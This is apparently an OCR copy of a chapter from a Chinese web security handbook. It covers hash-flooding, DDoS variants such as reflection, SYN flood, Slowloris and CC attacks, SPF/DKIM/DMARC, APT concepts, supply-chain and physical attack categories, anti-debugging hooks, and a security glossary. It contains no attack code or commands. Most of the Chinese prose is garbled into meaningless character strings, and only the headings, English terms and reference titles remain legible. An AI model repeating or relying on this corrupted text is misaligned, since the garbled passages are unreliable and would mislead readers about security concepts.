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https://en.wikipedia.org/wiki/IDN_homograph_attack
https://www.blackhat.com/presentations/bh-usa-09/WEBER/BHUSA09-Weber-UnicodeSecurityPreview-PAPER.pdf
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/request-encoding-to-bypass-web-application-firewalls/
https://shkspr.mobi/blog/2018/11/domain-hacks-with-unusual-unicode-characters/
https://zhuanlan.zhihu.com/p/53714077
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12.6.2 &EBHEE
HXHE
o RFC 8259 The JavaScript Object Notation (JSON) Data Interchange Format

e« ECMA-404 The JSON data interchange syntax

e jsond

12.7 8%

12.7.1 &4

Hash —fffEHB1, MFRAcE, SOy, e i Eunm s e K i i E ik
5 DL B e i BRI

o CRC32

o MD4 / MD5

o SHAO / SHA1 / SHA256 / SHA512

e SipHash

e MurMurHash

o CityHash

o xxHash

12.7.2 ¥

o Mk, DR R RS A AT R R E R
o SHIRLY, EIREURE/ DB EUE S SEIG AETR I B R
, HBEMEIR BT RIS Ay, AT AR 5

o REGRIRTE, ARMEHREN PN [ B B T AT AR [ A s A

s
af

12.7.3 X8 HF

Flidiy (Perfect Hashing) JefB7EM A T E LR, Ao mslohse, g vina o — g e

=

SERM A LIRS, EORSCBUALE F Z0S A WL, BRI RS R G|, IR B .
HHIE AR EMARECH FCH, CHD. PTHash 5,
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12.7.4 L&

Hash-Flooding Attack

Hash-Flooding Attack J2[fi[i] Web J& Ak BE 51— MG Ty 3, G o A4 1 e o 1) 20 FR(EDA 28 Aph 25 e 75
1, fRFEAN) Hash Map SREHEEEAOTERE NI o X2 PR A SR AE A AR B fB I A 250 /976 A8 ) 2
FRPEENT O(1) , (R KBRS, WEEARENy OMm) , MEA n MSAEMFERICE, KRN
Rk O(n™2) o

ELYE 2003 4 usenix [{)—e44 M Denial of Service via Algorithmic Complexity Attacks {8 3 FPH H T X fif
Yehm X, AR KBRS T A X R A S TR 3, SR B FROCAS A A T % 2 g B
BL .

Ml Setr X P72, BFE Bt T SipHash, MurmurHash, CityHash S8 s 80, 20 BEZ NG
FRIEMAT —AEY, MR BEEE TG A h 28 R 4. Python. Rust. Ruby SFSFf 515 5L 8
it SipHash MCAEIARIG Ak .

12.7.5 &B§HEE

e Denial of Service via Algorithmic Complexity Attacks
e Application vulnerability due to Non Random Hash Functions

e SipHash High-speed secure pseudorandom function for short messages

EXERHER

e« FCH A Faster Algorithm for Constructing Minimal Perfect Hash Functions
e CHD Hash, displace, and compress

e PTHash: Revisiting FCH Minimal Perfect Hashing

12.8 $E4RAR SH

12.8.1 &

DoS (Denial of Service) fEfH#AE 5T, &Pl A (AR 55 5 I 4 e i 194 46 it T B o

AT 2 45 10 250 E 45 (DDoS, Distributed Denial of Service) Beift, #3tat 1701 i A5 4L
AL ST SR KSR, X % E R — A% & HARYSHE DDoS Beifi, MUt Mt
A1, IR FARMOVEIR, 00 H ARk AR E R S0 BE S
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12.8.2 UDP J5¢

T UDP U SS DDoS Heite 46 i 55 Behi i) — B . Bah i A BTG HAR, 2 A IR A
YETFIAI IR S5 A . DRI i A kI (1% 2 55 RS BT UDP RSG5 BRAIRTE SR SC, BAS RN T oK
WoCH AR g AR B s TP, AR J5 4 1832 1 DDoS Mt

# T DoS Bkl ik55A:
¢« NTP
« DNS
. SSDP
« Memcached

Hdr DNS it £ 3248 DNS Request Flood, DNS Response Flood, FERIE + ESLZJE DNS Query Flood.,
RO 45 #5805 A Local AR 4528 30id:

12.8.3 TCP Flood

TCP Flood @Al TCP Pttty XAy it i 1P 1 B iR 55 # Aok K Ok i) TCP
SYN i3k, %ﬁﬁlﬂiﬂ&%ﬁ%ﬁlf BEFUE (SYN+ACK) Rt IP A by 2 FRE T, RSas
PREFAE SYN_RECV RES, H2ilEil. XalfG TCP SRAERPINRIFER, IEFILS5 AT,

12.8.4 Shrew DDoS

Shrew DDoS #|Ji] 7 TCP RYEAMANLH], UG FMIR R ik TCP Pl RTO, KFIBHAReR . H
B A E R . SRR R N (B] Ak, X MBECRERS 15 TCP iR FR o HBAR R — Ny, A
I DA AR A AR -3 3 LA T 1 i AR SR G0 o

ARG E 2X TCP Pl T TR AE S, SRR Z

12.8.5 Ping Of Death

TEIEF SO T ASAFAERT 65536 A1) ICMP 40, (HJ@ i SCSCR o i AL o Gl foy 2Un] PAC %
KT 65536 F 1511 ICMP WAL HbR 30l BB, mAXFERIGE B RZoh K th, 5 R R 55 Bt .

PUCEAE R G C M X BTy TR, (A Z .

12.8.6 Challenge Collapsar (CC)

CC Yk — P SR DoS Meily, Hoaky & 1l &8 I SRBCA THRER 55 a8 B IR T ORA 2 H /Y .

CC Bty sUA MR M, w6 WL TGt nl DAE S KB R R I, Wi R TSR AR R T ek L 8. Ry
HTTP g5 st nl il EABR SR, Kb K B 2R SRRk S By
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12.8.7 12k E
HTTP &:# Yt 2 Wong Onn Chee 1 Tom Brennan 7 2012 ) OWASP k& FiF=(EER, HIG#E %
AR AEAR 55 25 TR DAIK B FE 48 R 55 19 H 7Y

183t Slow headers / Slow body / Slow read =i 7. Slow headers — E A {EA0 18 B & 2%
HTTP 3L, ARG AR A 98 . Slow body %%/~ Content-Length fR Kf) HTTP POST
K, BIRH KRR D EEHE, % — B AN . Slow read PAMRAKAYHEE LI Response,

12.8.8 ETFiRFZHE

&AL i
— BRI 0 FAH R4
Bk
— % /dev/urandom 2 5 R S
— AT IRV RSO e
SERLIR R34k
— RIFFULERIEA
IR
— IHFEE R ekt

12.8.9 HHBIBHFHR

o ETRPEB RSN T, XA R R TR AR/ AR A
o XPIEF PP, R A S i A TR A PR R A
o BT IP /i VEATER A RS

o BT MO, EUEA TR/ B

12.8.10 &EHEEE

e linux academy dos
e slowhttptest Application Layer DoS attack simulator

¢ Slowloris wiki
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12.9 fbtf=L

12.9.1 EH#E
MR- 204 A& 2 SPF. DKIM #1 DMARC, H#f SPF (Sender Policy Framework) &—45455% ) DNS
0k, AT G AR TP,

DKIM (DomainKeys Identified Mail) RFECF25 44 U5 I 2 HL - HRCEIE S AR, (SRR AR 552 30 A 1 R
BN EAERMBES, FAE DKIM t/F7ET DNS f. i 2] <selector>._domainkey.example.com
Y txt iCSREA .

DMARC(Domain-based Message Authentication): #it%rif] <selector>._domainkey.example.com [{] txt
TESRA .

12.10 APT

12.10.1 &5t

APT (Advanced Persistent Threat), #iFHERFFLEEMN. 2006 4, APT Miinoit & EaCHe, Aok
R 20 HHEZE 90 AEAREN 21 T A0HIHE 36 ] ZE S RTBUR 9 28 v 2 B Ay e e LA 2 1 ) 2% i

APT Yiili 2 T35 BIEM R4 T M 28 0506 30, H B R K2 @ RGBS el B = B in R 45
XFE PR RGO & AR AR .

K APT Byl 2 — M, HERE— A BE A B RS A Rt T S i S ik . S A8
FNAR BRI Y — AR 2o APT, PR RS ARG S R Yo e B s, ARDHA Seibfide A
B 5% 5 58 LA B IR A TR

APT W3GHTBol i Wi sl . dha TR . T H SR AE T M5 2Ry K. HE T X sty
FBORHF A 8 LB R AR ACEAE — B2 TR EITRRE AESS, I ERREE R K B B[R] Rk A B
AE SR KA S R [, B APT M s R B—rrer Bir, HZ2HEL456— %
BIFBORSEM—IR APT Yy, (HHAEH B SRR Je i, iEX APT X (A4S AR F5AH 24 IR X o it
IS, APT WFFAE 3 A T X =5 T

12.10.2 §2tt (Advanced)

APT Mraly &5 & Y I PrA W BGE T BB, (A0 HA 1w i B MRS 2 1

W 28y R H i — R Ty 3 Bl R S Gk TR A T BOR Db nl 5 B w w1 iR
B 7C H AR E AT 24 ) 208 AL UK B e A2 BRI F AR5 R AR s e TR ol ad i SR 75
B2 V7 W B P 1 0t 0 T OREA TR

APT Yol il 3 2R FEHARA 5 ZOR Dh ke B I BGEAT R, AT e BUALEE 22 4 R G H Y. ELAng iy
AR AU 2l Dh i AR A0 R AR TR A . DAREMDRE N B, HAET It 6 1 i SR A8
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A EERUER X AR AT 7484, XM IGE T A R S B A R L HRIAE BN 2
YRR, MANTEATAEAT A A o

B T AN GRS A GGk, APT Beh EA s i A rp 5 R 28 =07 Bl A B R BGE H b, i
AR LG M B R A XA A K TGS

KGLBGE R —F AR TIE, —BoRUL, RAEZGEEX Bl —& TG, BiE Xt B AR H U5 I i Mk,
A AR — A S UA Mg, HXTX LM AR, o ok S LA B Mt B H AR BE ST A
X FPBCEAE B T A AME AR =05 Wk, Bl R ok e S R AR

F5—A BRI APT Mot s e A2 % H ik, H AT e 2R T — A2 H i f s e 87 201800
TS, A% H il R A AR BRI SR . e APT b, 3 H il A0 AEH ) 2.
LA APT28 J5fil, #agtit, 1L 2015 4F—4F 2 APT28 YEXGh Homt 2 A 77543 H i -

12.10.3 4t (Persistent)
FME G R4 R 25 N 4 G R R R[]« APT Tk i ad Al a1 3 2 N S0 B . e R 210

DU B2 B B 7 ORI R R AL, BTl R — Beh e i) SR 2 LA H H 2 5UE
— Ok, APT Bl nl DA AT ILAB BE.

=M

T BB HRE] HARR eSS A, Mol 0l B SO R TAE . (R Bt & 2 2 MU T KRB b
WAL B R T & TR B AR RARRIE R, 8 T Z R RSl 580 e 4

MR REER
ETWRNERER, BoakEd s mec s HAri s . SERERGEARER . FERPUX L5

Ja, Beki AT DAMZ IR AR A i 2 H i s T C AR IR R RGO R AR T A, BRIBO E
—E PFEHIRLRR -

WPR T B B

TR ZRM L BEEEWIR AR TR A PR E 2 BARRIRR , 1028 17— P i By, B 5 RO
1 F B BR A SE SR B I AT R o XA B, DO i % 2 B A R T D] s B A 7 o 5
BURCERERTH H B, o Je 3R A R G0 A A B R AR

ERE5 B By Bt
TEMII AR HARTT NI A — AR 5, Bokid — B M A 07 ORGSR G DT AR .

b/ e T 7 2k R BT A T P OB SEE . M T T P BT SR 5, T DA T TR
(RAT, Remote Access Tools) i i, FTEREHH G, HAKEERGT IRBEHESE B,
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#HEY R

MU R EN R G, 2 UARE Bl 77 sCGEEITE N MY 8. 2207 U SEfE N M T— 2 1
s, BET XA, A R SNLAAH SRR, 4 Gk LB A5 5 (AT le) s 5 2 o e < 2 Bk
AT I R E— 2508, BRI 2 AR AIE S

My s B

APT Tt 3% H A2 57 BUH B R GER0 {5 B O HE il— 8 AR . 75 52 IR il 7 42 il — S Y I I AL g
Jai o PAMCERAR BN H R B Bt 2 B on e 1) 5 AR BRI 17 S [ A R B ARG 1T DA BB
o ARG, WIFERX AN G Bt A A B A T A «

12.10.4 Eiritt (Threat)
MBS HE AR, APT Y i Mo T-Bo 7 22 AR @ 5T 0HRe E B B RS A H kit AR HAB Y, 1
HEAEEEIHGERAE R, RAOSMEH A=, R et

7350 APT WAL BN .. GRb. RERSFEUR. ¥, — B A gosih ey, Hgmafit+
ER. WHEEMIEE, ERE. SPHrFEIES, UREH—SBRGSE+, #A APT Ziliih
o APT il 4O E R i -4 i) — R 2L

12.10.5 #HXxEH

o 2010 4FEHHERE MR E
o 2013 EEMEELTHE

12.10.6 1oC

IoC (Indicators of Compromise) 7FBUIESIHE & AT AL 2 PR A IEE .
LK) ToC A AR LA

e hash

o« IP

ey

. F%

o FHURFE

« TH

o TTPs
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12.10.7 &%

o APT Zp#7J TTPs $2HL

12.11 #NHLE

12.11.1 &4

PR 22 A AR BRI IT AN AT R I T A R T ie 22 4x i, VAR LS R UG AR AT A A< i
FEAAE BRSO , AR iR 2 P 2 B AL o

PO BEL AR I A IR, B35 A 2 R S5 A i VIR e Ve ORI, AR ORI R 1) s B 1
AEEPEAI e AR TR, VR T 2O — MR E I, O EGE T PAE
P LG R AR N RALARSE, 57 USRS B IR ARG P, SR 2 et 2080y bl
FIH LU AL 2 i —

N DAGES RSN B, PIANET As . ARII ARG, oAb, TRV EEh AR R e, Bl
AT ARG H b AT A — BRI (15 51 A2 5 S A0 A o

12.11.2 s £ o

5% R P

PR RGBTl F i B R, G B R R AT HEA PR T LR SR M 4%

B EE

BER RS T TR BEY Ry ER L R GAFE T ER G T] . BA 12 ul 35 i B I e 1

SRR

PR BRI 2 5 SR BRI F P e A B Az, ATt A L i R AR & P BT R R S
PR Bt THEIT R MK, TR . AE4P S PR v A R P R R T B

VR P
PO G P Rl E A BB S P B — A AR, RS AU BRI A BB, A
T A5 A 2% 1 P BT SRAL AR G o ) 45 32 31 Tt o

SN TIAFERZ, ST Gl 5 e S0l B R PR S AR AR ACH B, A —E R —
AEFIRIIET] o
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HusNERE

PN BERR 2 R AR IRAL . BURERAE SR R A 1 O -

12.11.3 #RKE AR

o QI AR IR
— Combosquatting
— Typosquatting
— BUEEF
— B EIAT
o TEAMRHE
— fn AN
o M
— FIH CI/CD i
o BT MUY
— PFHE R E RS
— PR ERI ST
— FUNIGE R SRR e A 8 it
* Homoglyph
* Unicode Bidirectional
* BT
* R / minified

12.11.4 SE555E

e Introducing SLSA, an End-to-End Framework for Supply Chain Integrity

12.12 jEiFZE

12.12.1 USB Hif
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BadUSB

WS HO AR USB Beas iy Rl il SRPVIT SR, OUANEN e, Aoshs e i b ki
BAES

AutoRUN

MR SR E R 2, —SeE R G HE BT T USB B fiifids BITE SCih. T DAGE X Al =i
FrsEH .

USB Killer

TR USB s B T A5 I SO AR A B BB 7%
fu{siE

AT USB #9in— 28 i W /I 8 AL S i 4%

HID ¥

HID(human interface device) g4 #%. RARSE H T A TRV OE S A AN Bk & . HID M5t
FRFEIRNY USB A BN A 5, — HE R i BT 3 1) 8% B 454 - HID It ] PAJE T Android
WA B g s £ 55 S0t

12.12.2 Wi-Fi
B

HF WPA2 FIRE)rat, Wi-Fi 0 DUB IR T A0 I T4 F iR .
ESEH

AT DA P KSR A PR T BT H A AP, M S50 b i) A K0T«
12.12.3 ]2

B gk

43 L1 AR F S8 B A ) PR R 6 P BT HL R ik o LA R, AT DA A AL ko (Ellectro-
magnetic Pulse, EMP) 7 AR, REIFT IR .
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IC &

BETAE (e S B T DAGE IR . s =il 1C Raifgdl 145

12.12.4 S5

o IS EREFRAL

o LLIEXTPLZ ITIRBIE

12.13 ey

12.13.1 medflEl

o &l User-Agent

o HdnE

o NEA

o BIVTERRREOGN
— BRI
— Jfif} window.navigator.plugins
— B4 window.screen

o canvas fFE0HG

12.13.2 gim R AR

o hook ZHdE, Sk F12 / ik
— document.oncontextmenu
— document.onkeydown
— document.onkeyup
— document.onkeypress

o ¥ debugger

o Rl G175 £l OOM
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12.14 HRARiE

12.14.1 Windows

WMI (Windows Management Instrumentation)

ETW (Event Tracing for Windows)

WFP (Windows Filtering Platform)

MS-RPC (Microsoft Remote Procedure Call)

MS-SAMR (Security Account Manager Remote Protocol)
MS-SCMR (Service Control Manager Remote Protocol)
MS-DRSR (Directory Replication Service Remote Protocol)
MS-TSCH (Task Scheduler Service Remoting Protocol)

DCOM (Distributed Component Object Model)

12.14.2 mMLEHExX

(EE 0

27 H SR A Y (Lightweight Directory Access Protocol, LDAP)
#riH4% (Distinguished Name, DN)

FXIFRIH4 (Relative Distinguished Name, RDN)

R 55 eaiH BB (Server Message Block, SMB)

W28 AL RS (Common Internet File System, CIFS)

SMTP (Simple Mail Transfer Protocol)

frij B 2845 PR MY (Simple Network Management Protocol, SNMP)
POP3 (Post Office Protocol 3)

IMAP (Internet Mail Access Protocol)

HTTP (HyperText Transfer Protocol)

HTTPS (HyperText Transfer Protocol over Secure Socket Layer)

S FENUECE VMY (Dynamic Host Configuration Protocol, DHCP)
AT FETH A (Remote Procedure Call, RPC)

Java PHIXZL WY (Java Debug Wire Protocol, JDWP)
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W25 30 24 (Network File System, NFS)

o M55 ERAFR (Service Principal Names, SPN)

o MATBAZ3I6IE (Simple Authentication and Security Layer, SASL)

o (AR Z IR RN (Link-Local Multicast Name Resolution, LLMNR)

o izt TR / RPC (Distributed Computing Environment / Remote Procedure Calls, DCE/RPC)

BERG

o HIRAS (Autonomous System, AS)

o WERR KM (Interior Gateway Protocol, IGP)

o AN KX (External Gateway Protocol, EGP)

o I H%ERE (interdomain routing)

o kAP H3EFE (intradomain routing)

o ¥mfEE M (Routing Information Protocol, RIP)

o JFESE ARG (Open Shortest Path First, OSPF)

o AKX (Dynamic Routing Protocols, DRP)

o EEKITAMEWMY (First Hop Redundancy Protocols, FHRP)

o ISR MY (Hot Standby Router Protocol, HSRP)

o RS ITAMY (Virtual Router Redundancy Protocol, VRRP)
o M XM (Gateway Load Balancing Protocol, GLBP)
o MIZEHuAEE (Network Address Translation, NAT)

o XA MY (Point-to-Point Protocol, PPP)

o i FMY (Spanning Tree Protocol, STP)

o QUIC (Quick UDP Internet Connections)

4% R

o JEFBEAHE (Certificate Transparency, CT)
o DNS JEB A AL (DNS Certification Authority Authorization, CAA)

o W HZM % (Application Level Gateway, ALG)
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Kerberos

o B KL (Key Distribution Center, KDC)
o INIEMRS %% (Authentication Server, AS)

o TPRIZAUIR S S (Ticket Granting Server, TGS)

12.14.3 FER#ExX

o REST (Representation State Transformation)

12.14.4 #2£Bx

o Bt (defect / mistake)
— RS BB BRI A
— B R BRI SR
o Bk (bug)
— SEIZE TR
- BHYRIMBE
— Bt Zerh X
o Ui (flaw)
— — T BB, MERASE
— BEAEAEFREN T A 6 kB
— BAERG AR PRI A, S B PN AR AL
o Wi (vulnerability)
— AT DA T 3 S 2 A SRS 1) sk e e
o XHAMN TN (Interactive Application Security Testing, TAST)
o FBNHRFEL 4R, (Dynamic Application Security Testing, DAST)
o FRESN AP L4 (Static Application Security Testing, SAST)
o ATT&CK™ (Adversarial Tactics, Techniques, and Common Knowledge, ATT&CK)

o 153l (Lateral Movement)

NI (Breach and Attack Simulation, BAS)
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ZeAXR

o A5 B4R (Security Information Event Management, SIEM)
o HEMkm SOAR #% (Security Orchestration, Automation and Response, SOAR)

e SDL (Security Development Lifecycle)

REKE

Pt PR IL =R IE (Cross-Origin Resource Sharing, CORS)

o KAF ANKIEHELE (Sender Policy Framework, SPF)
o I PR HIMBLE (DomainKeys Identified Mail, DKIM)

o BT M EINIER S-S —8tEPMYL (Domain-based Message Authentication, Reporting and Con-
formance, DMARC)

o DNSSEC (The Domain Name System Security Extensions)

o JF DNS Hifin4 Sk B yi60E (DNS-based Authentication of Named Entities, DANE)

Erge X ki)

o MEZAENEERA (Building Security In Maturity Model, BSIMM)

12.14.5 YriH4ER
P TePS
o kAT (Cross Site Scripting, XSS)
o LR (Cross-Site Request Forgery, CSRF)
o HE] AXHd (Man-in-the-middle, MITM)
o IR55uE K hiE (Server Side Request Forgery, SSRF)
o EFFEEE (Advanced Persistent Threat, APT)
o MFEMAHFT (Remote Command Execute, RCE)

o ARG HAT (Remote Code Execute, RCE)
i

SR (Out-Of-Band, OOB)
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b i

o A X I (Spear Phishing)
o JKYLYH; (Water Holing)

o N RIELiR S5 (Distributed Denial of Service, DDoS)

12.14.6 B5fIHEX

o IoC (Indicators of Compromise)

o IoA (Indicators of Activity)

FHEHAR

o MR, (Network-based Detection and Response, NDR)
o Ay, (Endpoint Detection and Response, EDR)

o LK MM (Managed Detection and Response, MDR)

o PEAIMMIR, (Extended Detection and Response, XDR)

o HIBEMN %43 (Adaptive Security Architecture, ASA)

o TBAFATM 1)) (Zero Trust Network Access, ZTNA)

o nUALTIEEM (Cloud Security Posture Management, CSPM)

Fhiris i

o ABRKMZS: (Intrusion Detection System, IDS)

o THLBAARKEM R4 (Host-based Intrusion Detection System, HIDS)
o TFHILARPITHES (Host Intrusion Prevent System, HIPS)

o RASP (Runtime Application Self-protection)

o Gt (Unified Endpoint Management, UEM)

12.14.7 54

o FfeizdE (Artificial Intelligence for IT Operations, AIOps)
o XUEFINEESEIEAL (Risk and Vulnerability Assessments, RVA)

o TN AN 2NN 4 (Computer Emergency Response Team, CERT)
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12.14.8 FAiE

o HA SR (Single Sign-On, SSO)

WA ZEIAIE (Two-Factor Authentication, 2FA)

ZHZEIAIE (Multi-Factor Authentication, MFA)

o — KM% (One-Time Password, OTP)

Kerbose

o AR %S (Authentication Server, AS)

o W KL (Key Distribution Center, KDC)

o TEYRIFAAEENE ) EEEAYZEE (Ticket Granting Ticket, TGT)
o HEPRIZAUIRS %S (Ticket Granting Server, TGS)

o FrERS AL (Service Server, SS)

12.14.9 T{EHE

o H[{FF-EHE (Trusted Platform Module, TPM)

12.14.10 =

T

Resia47i (Container Runtime Interface, CRI)
TP 4 FRUE (Open Container Initiative, OCI)

T 2e#5 2 krfE (Open Container Format, OCF)

E
o FPEZITE (Elastic Compute Cloud, EC2)

o [H =M= TTE (Elastic Compute Service, ECS)

o =R% 4% (Cloud Virtual Machine, CVM)

12.14. ERARIE
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=i#

o TRIBATFEAEAR S (Simple Storage Service, S3)
o XIZfFE (Cloud Object Storage, COS)

XaaS

o PRHENRSS (Function as a Service, FaaS)
o ZH#sBIk% (Container as a Service, CaaS)
o WAHBEIARSS (Software as a Service, SaaS)
o F&5EIkS (Platform as a Service, PaaS)

o FEREIXHMEEIAR % (Insfrastructure as a Service, IaaS)

BEFS

o OCI (Oracle Cloud Infrastructure)

H ARk S

o JUHHEARS (Instance Metadata Service, IMDS)
o FFgi4ERY (Continuous Integration, CI)
o FF2ERZAT (Continuous Deployment, CD)

o HZITENEF (Edge Computing Machine, ECM)
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